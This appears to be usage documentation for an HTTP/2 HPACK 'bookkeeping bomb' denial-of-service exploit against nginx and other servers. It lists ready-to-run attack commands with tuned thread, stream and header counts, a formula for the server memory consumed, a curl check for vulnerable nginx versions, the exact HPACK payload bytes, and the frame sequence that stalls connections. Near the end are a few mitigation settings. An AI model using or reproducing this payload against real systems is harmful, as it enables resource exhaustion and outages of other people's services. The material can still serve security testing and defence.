# Basic test (single connection)
python3 exploit-test.py target.com 443

# nginx-specific bookkeeping bomb (recommended for nginx targets)
python3 exploit-test.py target.com 443 --mode nginx --threads 50 --streams 30 --headers 16374

# Apache/Envoy cookie-crumb technique
python3 exploit-test.py target.com 443 --mode classic --threads 20 --streams 30 --headers 5000

# HTTP/2 cleartext (rare — most servers require TLS for h2)
python3 exploit-test.py target.com 80 --no-ssl

total_streams = threads × streams
server_ram_mb = total_streams × headers × amplification_bytes / 1024²

# nginx example: 50 × 30 × 16374 × 70 / 1024² = ~1,647 MB

# Confirm HTTP/2 support and server version
curl -sv --http2 https://target.com/ 2>&1 | grep -E "ALPN|HTTP/2|server:"

# Vulnerable if:
# - ALPN: server accepted h2   (HTTP/2 enabled)
# - server: nginx/X.Y.Z        (where X.Y.Z < 1.29.8)

http2 max_headers 1000;

# Remove "http2" from listen directive
listen 443 ssl;

# Cap worker memory to limit blast radius
ulimit -v 2097152   # 2 GB per process
# Docker: --memory="2g" --memory-swap="2g"

Dynamic table seed (incremental indexing, adds to index 62):
  0x40 | name_len | name | value_len | value
  = 0x40 0x06 "x-bomb" 0x00

Indexed reference to entry 62 (1 byte each):
  0x80 | 62 = 0xbe

Wire payload per stream = 9 bytes (seed) + N bytes (N references)
Server allocation per ref ≈ sizeof(ngx_table_elt_t) ≈ 70 bytes

Client → Server:
  PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n     (preface)
  SETTINGS [INITIAL_WINDOW_SIZE=0]      (stall setup)
  SETTINGS ACK                          (after reading server SETTINGS)
  HEADERS [stream 1]  ← bomb payload   (pseudo-headers + HPACK bomb)
  HEADERS [stream 3]  ← bomb payload
  ...
  WINDOW_UPDATE(1) per stream / 1s      (keep-alive stall)